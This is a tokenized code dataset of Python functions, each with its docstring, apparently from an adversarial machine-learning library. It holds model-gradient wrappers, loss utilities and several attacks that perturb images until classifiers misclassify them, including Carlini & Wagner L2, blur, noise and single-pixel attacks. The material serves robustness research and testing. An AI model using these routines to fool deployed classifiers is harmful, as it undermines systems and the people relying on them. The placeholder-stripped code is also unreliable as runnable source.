{"signature": "@abstractmethod<EOL><INDENT>def predictions_and_gradient(self, image, label):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Calculates predictions for an image and the gradient of\n        the cross-entropy loss w.r.t. the image.\n\n        Parameters\n        ----------\n        image : `numpy.ndarray`\n            Single input with shape as expected by the model\n            (without the batch dimension).\n        label : int\n            Reference label used to calculate the gradient.\n\n        Returns\n        -------\n        predictions : `numpy.ndarray`\n            Vector of predictions (logits, i.e. before the softmax) with\n            shape (number of classes,).\n        gradient : `numpy.ndarray`\n            The gradient of the cross-entropy loss w.r.t. the image. Will\n            have the same shape as the image.\n\n        See Also\n        --------\n        :meth:`gradient`", "id": "f8079:c1:m0"}
{"signature": "def gradient(self, image, label):", "body": "_, gradient = self.predictions_and_gradient(image, label)<EOL>return gradient<EOL>", "docstring": "Calculates the gradient of the cross-entropy loss w.r.t. the image.\n\n        The default implementation calls predictions_and_gradient.\n        Subclasses can provide more efficient implementations that\n        only calculate the gradient.\n\n        Parameters\n        ----------\n        image : `numpy.ndarray`\n            Single input with shape as expected by the model\n            (without the batch dimension).\n        label : int\n            Reference label used to calculate the gradient.\n\n        Returns\n        -------\n        gradient : `numpy.ndarray`\n            The gradient of the cross-entropy loss w.r.t. the image. Will\n            have the same shape as the image.\n\n        See Also\n        --------\n        :meth:`gradient`", "id": "f8079:c1:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def backward(self, gradient, image):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Backpropagates the gradient of some loss w.r.t. the logits\n        through the network and returns the gradient of that loss w.r.t\n        to the input image.\n\n        Parameters\n        ----------\n        gradient : `numpy.ndarray`\n            Gradient of some loss w.r.t. the logits.\n        image : `numpy.ndarray`\n            Single input with shape as expected by the model\n            (without the batch dimension).\n\n        Returns\n        -------\n        gradient : `numpy.ndarray`\n            The gradient w.r.t the image.\n\n        See Also\n        --------\n        :meth:`gradient`", "id": "f8079:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_keras(cls, model, bounds, input_shape=None,<EOL>channel_axis=<NUM_LIT:3>, preprocessing=(<NUM_LIT:0>, <NUM_LIT:1>)):<DEDENT>", "body": "import tensorflow as tf<EOL>if input_shape is None:<EOL><INDENT>try:<EOL><INDENT>input_shape = model.input_shape[<NUM_LIT:1>:]<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>with tf.keras.backend.get_session().as_default():<EOL><INDENT>inputs = tf.placeholder(tf.float32, (None,) + input_shape)<EOL>logits = model(inputs)<EOL>return cls(inputs, logits, bounds=bounds,<EOL>channel_axis=channel_axis, preprocessing=preprocessing)<EOL><DEDENT>", "docstring": "Alternative constructor for a TensorFlowModel that\n        accepts a `tf.keras.Model` instance.\n\n        Parameters\n        ----------\n        model : `tensorflow.keras.Model`\n            A `tensorflow.keras.Model` that accepts a single input tensor\n            and returns a single output tensor representing logits.\n        bounds : tuple\n            Tuple of lower and upper bound for the pixel values, usually\n            (0, 1) or (0, 255).\n        input_shape : tuple\n            The shape of a single input, e.g. (28, 28, 1) for MNIST.\n            If None, tries to get the the shape from the model's\n            input_shape attribute.\n        channel_axis : int\n            The index of the axis that represents color channels.\n        preprocessing: 2-element tuple with floats or numpy arrays\n            Elementwises preprocessing of input; we first subtract the first\n            element of preprocessing from the input and then divide the input\n            by the second element.", "id": "f8082:c0:m1"}
{"signature": "def softmax(logits):", "body": "assert logits.ndim == <NUM_LIT:1><EOL>logits = logits - np.max(logits)<EOL>e = np.exp(logits)<EOL>return e / np.sum(e)<EOL>", "docstring": "Transforms predictions into probability values.\n\n    Parameters\n    ----------\n    logits : array_like\n        The logits predicted by the model.\n\n    Returns\n    -------\n    `numpy.ndarray`\n        Probability values corresponding to the logits.", "id": "f8087:m0"}
{"signature": "def crossentropy(label, logits):", "body": "assert logits.ndim == <NUM_LIT:1><EOL>logits = logits - np.max(logits)<EOL>e = np.exp(logits)<EOL>s = np.sum(e)<EOL>ce = np.log(s) - logits[label]<EOL>return ce<EOL>", "docstring": "Calculates the cross-entropy.\n\n    Parameters\n    ----------\n    logits : array_like\n        The logits predicted by the model.\n    label : int\n        The label describing the target distribution.\n\n    Returns\n    -------\n    float\n        The cross-entropy between softmax(logits) and onehot(label).", "id": "f8087:m1"}
{"signature": "def batch_crossentropy(label, logits):", "body": "assert logits.ndim == <NUM_LIT:2><EOL>logits = logits - np.max(logits, axis=<NUM_LIT:1>, keepdims=True)<EOL>e = np.exp(logits)<EOL>s = np.sum(e, axis=<NUM_LIT:1>)<EOL>ces = np.log(s) - logits[:, label]<EOL>return ces<EOL>", "docstring": "Calculates the cross-entropy for a batch of logits.\n\n    Parameters\n    ----------\n    logits : array_like\n        The logits predicted by the model for a batch of inputs.\n    label : int\n        The label describing the target distribution.\n\n    Returns\n    -------\n    np.ndarray\n        The cross-entropy between softmax(logits[i]) and onehot(label)\n        for all i.", "id": "f8087:m2"}
{"signature": "def binarize(x, values, threshold=None, included_in='<STR_LIT>'):", "body": "lower, upper = values<EOL>if threshold is None:<EOL><INDENT>threshold = (lower + upper) / <NUM_LIT><EOL><DEDENT>x = x.copy()<EOL>if included_in == '<STR_LIT>':<EOL><INDENT>x[x <= threshold] = lower<EOL>x[x > threshold] = upper<EOL><DEDENT>elif included_in == '<STR_LIT>':<EOL><INDENT>x[x < threshold] = lower<EOL>x[x >= threshold] = upper<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return x<EOL>", "docstring": "Binarizes the values of x.\n\n    Parameters\n    ----------\n    values : tuple of two floats\n        The lower and upper value to which the inputs are mapped.\n    threshold : float\n        The threshold; defaults to (values[0] + values[1]) / 2 if None.\n    included_in : str\n        Whether the threshold value itself belongs to the lower or\n        upper interval.", "id": "f8087:m3"}
{"signature": "def imagenet_example(shape=(<NUM_LIT>, <NUM_LIT>), data_format='<STR_LIT>'):", "body": "assert len(shape) == <NUM_LIT:2><EOL>assert data_format in ['<STR_LIT>', '<STR_LIT>']<EOL>from PIL import Image<EOL>path = os.path.join(os.path.dirname(__file__), '<STR_LIT>')<EOL>image = Image.open(path)<EOL>image = image.resize(shape)<EOL>image = np.asarray(image, dtype=np.float32)<EOL>image = image[:, :, :<NUM_LIT:3>]<EOL>assert image.shape == shape + (<NUM_LIT:3>,)<EOL>if data_format == '<STR_LIT>':<EOL><INDENT>image = np.transpose(image, (<NUM_LIT:2>, <NUM_LIT:0>, <NUM_LIT:1>))<EOL><DEDENT>return image, <NUM_LIT><EOL>", "docstring": "Returns an example image and its imagenet class label.\n\n    Parameters\n    ----------\n    shape : list of integers\n        The shape of the returned image.\n    data_format : str\n        \"channels_first\" or \"channels_last\"\n\n    Returns\n    -------\n    image : array_like\n        The example image.\n\n    label : int\n        The imagenet label associated with the image.\n\n    NOTE: This function is deprecated and will be removed in the future.", "id": "f8087:m4"}
{"signature": "def samples(dataset='<STR_LIT>', index=<NUM_LIT:0>, batchsize=<NUM_LIT:1>, shape=(<NUM_LIT>, <NUM_LIT>),<EOL>data_format='<STR_LIT>'):", "body": "from PIL import Image<EOL>images, labels = [], []<EOL>basepath = os.path.dirname(__file__)<EOL>samplepath = os.path.join(basepath, '<STR_LIT:data>')<EOL>files = os.listdir(samplepath)<EOL>for idx in range(index, index + batchsize):<EOL><INDENT>i = idx % <NUM_LIT:20><EOL>file = [n for n in files if '<STR_LIT>'.format(dataset, i) in n][<NUM_LIT:0>]<EOL>label = int(file.split('<STR_LIT:.>')[<NUM_LIT:0>].split('<STR_LIT:_>')[-<NUM_LIT:1>])<EOL>path = os.path.join(samplepath, file)<EOL>image = Image.open(path)<EOL>if dataset == '<STR_LIT>':<EOL><INDENT>image = image.resize(shape)<EOL><DEDENT>image = np.asarray(image, dtype=np.float32)<EOL>if dataset != '<STR_LIT>' and data_format == '<STR_LIT>':<EOL><INDENT>image = np.transpose(image, (<NUM_LIT:2>, <NUM_LIT:0>, <NUM_LIT:1>))<EOL><DEDENT>images.append(image)<EOL>labels.append(label)<EOL><DEDENT>labels = np.array(labels)<EOL>images = np.stack(images)<EOL>return images, labels<EOL>", "docstring": "Returns a batch of example images and the corresponding labels\n\n    Parameters\n    ----------\n    dataset : string\n        The data set to load (options: imagenet, mnist, cifar10,\n        cifar100, fashionMNIST)\n    index : int\n        For each data set 20 example images exist. The returned batch\n        contains the images with index [index, index + 1, index + 2, ...]\n    batchsize : int\n        Size of batch.\n    shape : list of integers\n        The shape of the returned image (only relevant for Imagenet).\n    data_format : str\n        \"channels_first\" or \"channels_last\"\n\n    Returns\n    -------\n    images : array_like\n        The batch of example images\n\n    labels : array of int\n        The labels associated with the images.", "id": "f8087:m5"}
{"signature": "def onehot_like(a, index, value=<NUM_LIT:1>):", "body": "x = np.zeros_like(a)<EOL>x[index] = value<EOL>return x<EOL>", "docstring": "Creates an array like a, with all values\n    set to 0 except one.\n\n    Parameters\n    ----------\n    a : array_like\n        The returned one-hot array will have the same shape\n        and dtype as this array\n    index : int\n        The index that should be set to `value`\n    value : single value compatible with a.dtype\n        The value to set at the given index\n\n    Returns\n    -------\n    `numpy.ndarray`\n        One-hot array with the given value at the given\n        location and zeros everywhere else.", "id": "f8087:m6"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>starting_point=None,<EOL>threshold=None, included_in='<STR_LIT>'):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>self._starting_point = starting_point<EOL>self.initialize_starting_point(a)<EOL>if a.image is None:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return<EOL><DEDENT>assert a.image.dtype == a.original_image.dtype<EOL>dtype = a.original_image.dtype<EOL>assert np.issubdtype(dtype, np.floating)<EOL>min_, max_ = a.bounds()<EOL>if threshold is None:<EOL><INDENT>threshold = (min_ + max_) / <NUM_LIT><EOL><DEDENT>threshold = dtype.type(threshold)<EOL>offset = dtype.type(<NUM_LIT:1.>)<EOL>if included_in == '<STR_LIT>':<EOL><INDENT>lower = threshold<EOL>upper = np.nextafter(threshold, threshold + offset)<EOL><DEDENT>elif included_in == '<STR_LIT>':<EOL><INDENT>lower = np.nextafter(threshold, threshold - offset)<EOL>upper = threshold<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>logging.info('<STR_LIT>'.format(<EOL>min_, lower, upper, max_))<EOL>assert type(lower) == dtype.type<EOL>assert type(upper) == dtype.type<EOL>assert lower < upper<EOL>o = a.original_image<EOL>x = a.image<EOL>p = np.full_like(o, np.nan)<EOL>indices = np.logical_and(o <= lower, x <= lower)<EOL>p[indices] = o[indices]<EOL>indices = np.logical_and(o <= lower, x >= upper)<EOL>p[indices] = upper<EOL>indices = np.logical_and(o >= upper, x <= lower)<EOL>p[indices] = lower<EOL>indices = np.logical_and(o >= upper, x >= upper)<EOL>p[indices] = o[indices]<EOL>assert not np.any(np.isnan(p))<EOL>logging.info('<STR_LIT>'.format(<EOL>self.__class__.__name__, a.distance))<EOL>_, is_adversarial = a.predictions(p)<EOL>assert is_adversarial, ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>logging.info('<STR_LIT>'.format(<EOL>self.__class__.__name__, a.distance))<EOL>", "docstring": "For models that preprocess their inputs by binarizing the\n        inputs, this attack can improve adversarials found by other\n        attacks. It does os by utilizing information about the\n        binarization and mapping values to the corresponding value in\n        the clean input or to the right side of the threshold.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        starting_point : `numpy.ndarray`\n            Adversarial input to use as a starting point.\n        threshold : float\n            The treshold used by the models binarization. If none,\n            defaults to (model.bounds()[1] - model.bounds()[0]) / 2.\n        included_in : str\n            Whether the threshold value itself belongs to the lower or\n            upper interval.", "id": "f8088:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True, epsilons=<NUM_LIT:1000>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>image = a.original_image<EOL>bounds = a.bounds()<EOL>min_, max_ = bounds<EOL>if not isinstance(epsilons, Iterable):<EOL><INDENT>epsilons = np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, num=epsilons + <NUM_LIT:1>)[<NUM_LIT:1>:]<EOL><DEDENT>for epsilon in epsilons:<EOL><INDENT>noise = self._sample_noise(epsilon, image, bounds)<EOL>perturbed = image + epsilon * noise<EOL>perturbed = np.clip(perturbed, min_, max_)<EOL>_, is_adversarial = a.predictions(perturbed)<EOL>if is_adversarial:<EOL><INDENT>return<EOL><DEDENT><DEDENT>", "docstring": "Adds uniform or Gaussian noise to the image, gradually increasing\n        the standard deviation until the image is misclassified.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int or Iterable[float]\n            Either Iterable of noise levels or number of noise levels\n            between 0 and 1 that should be tried.", "id": "f8089:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilons=<NUM_LIT:1000>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>image = a.original_image<EOL>min_, max_ = a.bounds()<EOL>axis = a.channel_axis(batch=False)<EOL>hw = [image.shape[i] for i in range(image.ndim) if i != axis]<EOL>h, w = hw<EOL>size = max(h, w)<EOL>if not isinstance(epsilons, Iterable):<EOL><INDENT>epsilons = np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, num=epsilons + <NUM_LIT:1>)[<NUM_LIT:1>:]<EOL><DEDENT>for epsilon in epsilons:<EOL><INDENT>sigmas = [epsilon * size] * <NUM_LIT:3><EOL>sigmas[axis] = <NUM_LIT:0><EOL>blurred = gaussian_filter(image, sigmas)<EOL>blurred = np.clip(blurred, min_, max_)<EOL>_, is_adversarial = a.predictions(blurred)<EOL>if is_adversarial:<EOL><INDENT>return<EOL><DEDENT><DEDENT>", "docstring": "Blurs the image until it is misclassified.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int or Iterable[float]\n            Either Iterable of standard deviations of the Gaussian blur\n            or number of standard deviations between 0 and 1 that should\n            be tried.", "id": "f8090:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>starting_point=None, initialization_attack=None):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>self._starting_point = starting_point<EOL>self._initialization_attack = initialization_attack<EOL>self.initialize_starting_point(a)<EOL>if a.image is None:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return<EOL><DEDENT>shape = a.original_image.shape<EOL>N = a.original_image.size<EOL>original = a.original_image.reshape(-<NUM_LIT:1>)<EOL>x = a.image.copy().reshape(-<NUM_LIT:1>)<EOL>assert original.dtype == x.dtype<EOL>while True:<EOL><INDENT>indices = list(range(N))<EOL>rng.shuffle(indices)<EOL>for index in indices:<EOL><INDENT>old_value = x[index]<EOL>new_value = original[index]<EOL>if old_value == new_value:<EOL><INDENT>continue<EOL><DEDENT>x[index] = new_value<EOL>_, is_adversarial = a.predictions(x.reshape(shape))<EOL>if is_adversarial:<EOL><INDENT>logging.info('<STR_LIT>'<EOL>'<STR_LIT>'.format(a.distance))<EOL>break<EOL><DEDENT>x[index] = old_value<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>logging.info('<STR_LIT>')<EOL>while True:<EOL><INDENT>indices = list(range(N))<EOL>rng.shuffle(indices)<EOL>improved = False<EOL>logging.info('<STR_LIT>')<EOL>for index in indices:<EOL><INDENT>old_value = x[index]<EOL>original_value = original[index]<EOL>if old_value == original_value:<EOL><INDENT>continue<EOL><DEDENT>x[index] = original_value<EOL>_, is_adversarial = a.predictions(x.reshape(shape))<EOL>if is_adversarial:  <EOL><INDENT>logging.info('<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>index, a.distance))<EOL>improved = True<EOL><DEDENT>else:<EOL><INDENT>adv_value = old_value<EOL>non_adv_value = original_value<EOL>best_adv_value = self.binary_search(<EOL>a, x, index, adv_value, non_adv_value, shape)<EOL>if old_value != best_adv_value:<EOL><INDENT>x[index] = best_adv_value<EOL>improved = True<EOL>logging.info('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>index, old_value, best_adv_value,<EOL>original_value, a.distance))<EOL><DEDENT><DEDENT><DEDENT>if not improved:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Starts with an adversarial and performs a binary search between\n        the adversarial and the original for each dimension of the input\n        individually.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        starting_point : `numpy.ndarray`\n            Adversarial input to use as a starting point, in particular\n            for targeted attacks.\n        initialization_attack : :class:`Attack`\n            Attack to use to find a starting point. Defaults to\n            SaltAndPepperNoiseAttack.", "id": "f8091:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>binary_search_steps=<NUM_LIT:5>, max_iterations=<NUM_LIT:1000>,<EOL>confidence=<NUM_LIT:0>, learning_rate=<NUM_LIT>,<EOL>initial_const=<NUM_LIT>, abort_early=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>if not a.has_gradient():<EOL><INDENT>logging.fatal('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return<EOL><DEDENT>min_, max_ = a.bounds()<EOL>def to_attack_space(x):<EOL><INDENT>a = (min_ + max_) / <NUM_LIT:2><EOL>b = (max_ - min_) / <NUM_LIT:2><EOL>x = (x - a) / b<EOL>x = x * <NUM_LIT><EOL>return np.arctanh(x)<EOL><DEDENT>def to_model_space(x):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>x = np.tanh(x)<EOL>grad = <NUM_LIT:1> - np.square(x)<EOL>a = (min_ + max_) / <NUM_LIT:2><EOL>b = (max_ - min_) / <NUM_LIT:2><EOL>x = x * b + a<EOL>grad = grad * b<EOL>return x, grad<EOL><DEDENT>att_original = to_attack_space(a.original_image)<EOL>reconstructed_original, _ = to_model_space(att_original)<EOL>const = initial_const<EOL>lower_bound = <NUM_LIT:0><EOL>upper_bound = np.inf<EOL>for binary_search_step in range(binary_search_steps):<EOL><INDENT>if binary_search_step == binary_search_steps - <NUM_LIT:1> andbinary_search_steps >= <NUM_LIT:10>:<EOL><INDENT>const = upper_bound<EOL><DEDENT>logging.info('<STR_LIT>'.format(const))<EOL>att_perturbation = np.zeros_like(att_original)<EOL>optimizer = AdamOptimizer(att_perturbation.shape)<EOL>found_adv = False  <EOL>loss_at_previous_check = np.inf<EOL>for iteration in range(max_iterations):<EOL><INDENT>x, dxdp = to_model_space(att_original + att_perturbation)<EOL>logits, is_adv = a.predictions(x)<EOL>loss, dldx = self.loss_function(<EOL>const, a, x, logits, reconstructed_original,<EOL>confidence, min_, max_)<EOL>logging.info('<STR_LIT>'.format(<EOL>loss, a.distance))<EOL>assert dldx.shape == x.shape<EOL>assert dxdp.shape == x.shape<EOL>gradient = dldx * dxdp<EOL>att_perturbation += optimizer(gradient, learning_rate)<EOL>if is_adv:<EOL><INDENT>found_adv = True<EOL><DEDENT>if abort_early anditeration % (np.ceil(max_iterations / <NUM_LIT:10>)) == <NUM_LIT:0>:<EOL><INDENT>if not (loss <= <NUM_LIT> * loss_at_previous_check):<EOL><INDENT>break  <EOL><DEDENT>loss_at_previous_check = loss<EOL><DEDENT><DEDENT>if found_adv:<EOL><INDENT>logging.info('<STR_LIT>'.format(const))<EOL>upper_bound = const<EOL><DEDENT>else:<EOL><INDENT>logging.info('<STR_LIT>'<EOL>'<STR_LIT>'.format(const))<EOL>lower_bound = const<EOL><DEDENT>if upper_bound == np.inf:<EOL><INDENT>const *= <NUM_LIT:10><EOL><DEDENT>else:<EOL><INDENT>const = (lower_bound + upper_bound) / <NUM_LIT:2><EOL><DEDENT><DEDENT>", "docstring": "The L2 version of the Carlini & Wagner attack.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        binary_search_steps : int\n            The number of steps for the binary search used to\n            find the optimal tradeoff-constant between distance and confidence.\n        max_iterations : int\n            The maximum number of iterations. Larger values are more\n            accurate; setting it too small will require a large learning rate\n            and will produce poor results.\n        confidence : int or float\n            Confidence of adversarial examples: a higher value produces\n            adversarials that are further away, but more strongly classified\n            as adversarial.\n        learning_rate : float\n            The learning rate for the attack algorithm. Smaller values\n            produce better results but take longer to converge.\n        initial_const : float\n            The initial tradeoff-constant to use to tune the relative\n            importance of distance and confidence. If `binary_search_steps`\n            is large, the initial constant is not important.\n        abort_early : bool\n            If True, Adam will be aborted if the loss hasn't decreased\n            for some time (a tenth of max_iterations).", "id": "f8092:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def loss_function(cls, const, a, x, logits, reconstructed_original,<EOL>confidence, min_, max_):<DEDENT>", "body": "targeted = a.target_class() is not None<EOL>if targeted:<EOL><INDENT>c_minimize = cls.best_other_class(logits, a.target_class())<EOL>c_maximize = a.target_class()<EOL><DEDENT>else:<EOL><INDENT>c_minimize = a.original_class<EOL>c_maximize = cls.best_other_class(logits, a.original_class)<EOL><DEDENT>is_adv_loss = logits[c_minimize] - logits[c_maximize]<EOL>is_adv_loss += confidence<EOL>is_adv_loss = max(<NUM_LIT:0>, is_adv_loss)<EOL>s = max_ - min_<EOL>squared_l2_distance = np.sum((x - reconstructed_original)**<NUM_LIT:2>) / s**<NUM_LIT:2><EOL>total_loss = squared_l2_distance + const * is_adv_loss<EOL>logits_diff_grad = np.zeros_like(logits)<EOL>logits_diff_grad[c_minimize] = <NUM_LIT:1><EOL>logits_diff_grad[c_maximize] = -<NUM_LIT:1><EOL>is_adv_loss_grad = a.backward(logits_diff_grad, x)<EOL>assert is_adv_loss >= <NUM_LIT:0><EOL>if is_adv_loss == <NUM_LIT:0>:<EOL><INDENT>is_adv_loss_grad = <NUM_LIT:0><EOL><DEDENT>squared_l2_distance_grad = (<NUM_LIT:2> / s**<NUM_LIT:2>) * (x - reconstructed_original)<EOL>total_loss_grad = squared_l2_distance_grad + const * is_adv_loss_grad<EOL>return total_loss, total_loss_grad<EOL>", "docstring": "Returns the loss and the gradient of the loss w.r.t. x,\n        assuming that logits = model(x).", "id": "f8092:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def best_other_class(logits, exclude):<DEDENT>", "body": "other_logits = logits - onehot_like(logits, exclude, value=np.inf)<EOL>return np.argmax(other_logits)<EOL>", "docstring": "Returns the index of the largest logit, ignoring the class that\n        is passed as `exclude`.", "id": "f8092:c0:m2"}
{"signature": "def __call__(self, gradient, learning_rate,<EOL>beta1=<NUM_LIT>, beta2=<NUM_LIT>, epsilon=<NUM_LIT>):", "body": "self.t += <NUM_LIT:1><EOL>self.m = beta1 * self.m + (<NUM_LIT:1> - beta1) * gradient<EOL>self.v = beta2 * self.v + (<NUM_LIT:1> - beta2) * gradient**<NUM_LIT:2><EOL>bias_correction_1 = <NUM_LIT:1> - beta1**self.t<EOL>bias_correction_2 = <NUM_LIT:1> - beta2**self.t<EOL>m_hat = self.m / bias_correction_1<EOL>v_hat = self.v / bias_correction_2<EOL>return -learning_rate * m_hat / (np.sqrt(v_hat) + epsilon)<EOL>", "docstring": "Updates internal parameters of the optimizer and returns\n        the change that should be applied to the variable.\n\n        Parameters\n        ----------\n        gradient : `np.ndarray`\n            the gradient of the loss w.r.t. to the variable\n        learning_rate: float\n            the learning rate in the current iteration\n        beta1: float\n            decay rate for calculating the exponentially\n            decaying average of past gradients\n        beta2: float\n            decay rate for calculating the exponentially\n            decaying average of past squared gradients\n        epsilon: float\n            small value to avoid division by zero", "id": "f8092:c1:m1"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilons=<NUM_LIT:1000>, max_directions=<NUM_LIT:1000>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>image = a.original_image<EOL>min_, max_ = a.bounds()<EOL>if a.image is not None:  <EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>for j in range(max_directions):<EOL><INDENT>random_image = nprng.uniform(<EOL>min_, max_, size=image.shape).astype(image.dtype)<EOL>_, is_adversarial = a.predictions(random_image)<EOL>if is_adversarial:<EOL><INDENT>logging.info('<STR_LIT>'<EOL>'<STR_LIT>'.format(j + <NUM_LIT:1>))<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if not isinstance(epsilons, Iterable):<EOL><INDENT>epsilons = np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, num=epsilons + <NUM_LIT:1>)[<NUM_LIT:1>:]<EOL><DEDENT>for epsilon in epsilons:<EOL><INDENT>perturbed = (<NUM_LIT:1> - epsilon) * image + epsilon * random_image<EOL>if not a.in_bounds(perturbed):  <EOL><INDENT>np.clip(perturbed, min_, max_, out=perturbed)<EOL><DEDENT>_, is_adversarial = a.predictions(perturbed)<EOL>if is_adversarial:<EOL><INDENT>return<EOL><DEDENT><DEDENT>", "docstring": "Blends the image with a uniform noise image until it\n        is misclassified.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int or Iterable[float]\n            Either Iterable of blending steps or number of blending steps\n            between 0 and 1 that should be tried.\n        max_directions : int\n            Maximum number of random images to try.", "id": "f8093:c0:m0"}
{"signature": "def _initialize(self):", "body": "pass<EOL>", "docstring": "Additional initializer that can be overwritten by\n        subclasses without redefining the full __init__ method\n        including all arguments and documentation.", "id": "f8094:c0:m1"}
{"signature": "def name(self):", "body": "return self.__class__.__name__<EOL>", "docstring": "Returns a human readable name that uniquely identifies\n        the attack with its hyperparameters.\n\n        Returns\n        -------\n        str\n            Human readable name that uniquely identifies the attack\n            with its hyperparameters.\n\n        Notes\n        -----\n        Defaults to the class name but subclasses can provide more\n        descriptive names and must take hyperparameters into account.", "id": "f8094:c0:m3"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>max_pixels=<NUM_LIT:1000>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>channel_axis = a.channel_axis(batch=False)<EOL>image = a.original_image<EOL>axes = [i for i in range(image.ndim) if i != channel_axis]<EOL>assert len(axes) == <NUM_LIT:2><EOL>h = image.shape[axes[<NUM_LIT:0>]]<EOL>w = image.shape[axes[<NUM_LIT:1>]]<EOL>min_, max_ = a.bounds()<EOL>pixels = nprng.permutation(h * w)<EOL>pixels = pixels[:max_pixels]<EOL>for i, pixel in enumerate(pixels):<EOL><INDENT>x = pixel % w<EOL>y = pixel // w<EOL>location = [x, y]<EOL>location.insert(channel_axis, slice(None))<EOL>location = tuple(location)<EOL>for value in [min_, max_]:<EOL><INDENT>perturbed = image.copy()<EOL>perturbed[location] = value<EOL>_, is_adv = a.predictions(perturbed)<EOL>if is_adv:<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Perturbs just a single pixel and sets it to the min or max.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, correctly classified image. If image is a\n            numpy array, label must be passed as well. If image is\n            an :class:`Adversarial` instance, label must not be passed.\n        label : 